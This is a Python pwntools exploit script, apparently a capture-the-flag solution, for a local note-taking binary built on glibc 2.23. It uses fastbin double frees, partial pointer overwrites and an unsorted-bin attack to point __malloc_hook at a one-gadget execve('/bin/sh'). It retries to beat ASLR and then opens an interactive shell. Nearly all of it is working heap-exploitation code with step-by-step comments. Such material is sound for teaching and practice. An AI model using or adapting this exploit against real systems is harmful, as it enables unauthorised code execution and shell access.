#!/usr/bin/env python

from pwn import *
import traceback

def init_note(size, content):
    p.sendlineafter('Choice:', '1')
    p.sendlineafter('Input the note length:', str(size))
    p.sendafter('Input the note content:', content)

def edit_note(index, size, content):
    p.sendlineafter('Choice:', '2')
    p.sendlineafter('Input the note index:', str(index))
    p.sendafter('Input the note content:', content)

def free_note(index):
    p.sendlineafter('Choice:', '3')
    p.sendlineafter('Input the note index:', str(index))

with context.quiet:
    try_count = 0

    # since we are replacing some addresses partially, and ASLR is enabled
    # we are executing the program over and over again until we get lucky

    while True:
        try:
            try_count += 1

            print >> sys.stderr, 'Try #{}'.format(try_count)

            p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

            # chunk#0 (0x81)
            init_note(0x68, 'a' * 255)
            # chunk#1 (0x81)
            init_note(0x68, 'b' * 255)
            # chunk#2 (0x91)
            init_note(0x78, 'c' * 255)
            # chunk#3 (0x71)
            init_note(0x60, 'd' * 255)
            # chunk#4 (0x71)
            init_note(0x60, 'e' * 255)

            # launch double free attack
            # fastbin free list (0x80): chunk#0 --> chunk#1 --> chunk#0
            free_note(0)
            free_note(1)
            free_note(0)

            # chunk#5 (0x81)
            # this chunk is co-located with chunk#0, so we partially overwrite the fd pointer
            init_note(0x68, p8(0xe0) + '\n')
            # chunk#6 (0x81)
            # this chunk is co-located with chunk#1
            init_note(0x68, 'b' * 0x50 + p64(0) + p64(0x81) + p64(0))
            # chunk#7 (0x81)
            # this chunk is co-located with chunk#0, so we partially overwrite the fd pointer
            # after this allocation will put a heap address in fastbin free list
            init_note(0x68, 'a' * 255)

            # freeing chunk#2 will put it in the unsorted bin and set the fd/bk pointers with libc address
            free_note(2)

            # chunk#8 (0x81)
            # this chunk is a fake chunk which is located a little before chunk#2
            # basically, we overwrite chunk#2's size and partially its fd which is pointing to somewhere before malloc_hook
            # the first 12 bits is fixed, but the next 4 bits have to be 1
            init_note(0x68, 'b' * 0x10 + p64(0) + p64(0x71) + p16(0x1aed) + '\n')

            # launch double free attack
            # fastbin free list (0x70): chunk#4 --> chunk#3 --> chunk#4
            free_note(4)
            free_note(3)
            free_note(4)

            # chunk#9 (0x71)
            # this chunk is co-located with chunk#4, so we partially overwrite the fd pointer to somewhere before malloc_hook
            init_note(0x60, p8(0x00) + '\n')
            # chunk#10 (0x71)
            # this chunk is co-located with chunk#3
            init_note(0x60, 'd' * 255)
            # chunk#11 (0x71)
            # this chunk is co-located with chunk#4
            # after this allocation, address of chunk#2 will be put in the fastbin free list
            init_note(0x60, 'f' * 255)
            # chunk#12 (0x71)
            # this chunk is co-located with chunk#2
            # after this allocation, the address before malloc_hook will be put in the fastbin free list
            init_note(0x60, '\n')

            # chunk#13 (0x7f)
            # this chunk is located before __malloc_hook
            init_note(0x60, '\n')

            # fix unsorted bin chunk#2 size to look like a non-fastbin chunk
            # also overwrite bk pointer of chunk#2 which points to 16 bytes before __malloc_hook
            # preparing for unsorted_bin_attack
            edit_note(8, 0x29, 'b' * 0x10 + p64(0) + p64(0x91) + p64(0) + p8(0x00))

            # chunk#14 (0x91)
            # allocate a chunk from unsorted bin, so the __malloc_hook will be overwritten with a libc address
            init_note(0x78, '\n')

            '''
            0x4526a execve("/bin/sh", rsp+0x30, environ)
            constraints:
                [rsp+0x30] == NULL
            '''
            # overwrite __malloc_hook partially to point to the one gadget
            # the first 12 bits is fixed, but the next 12 bits have to be a52
            edit_note(13, 0x13 + 3, '\x00' * 0x13 + p32(0xa5226a)[0:3])

            # chunk#15
            # trigger __malloc_hook
            init_note(0x100, '\n')

            p.clean()
            p.sendline('ls')
            p.recv(0)

            p.interactive()
            break
        except EOFError:
            p.close()
        except:
            print >> sys.stderr, traceback.format_exc()
            break

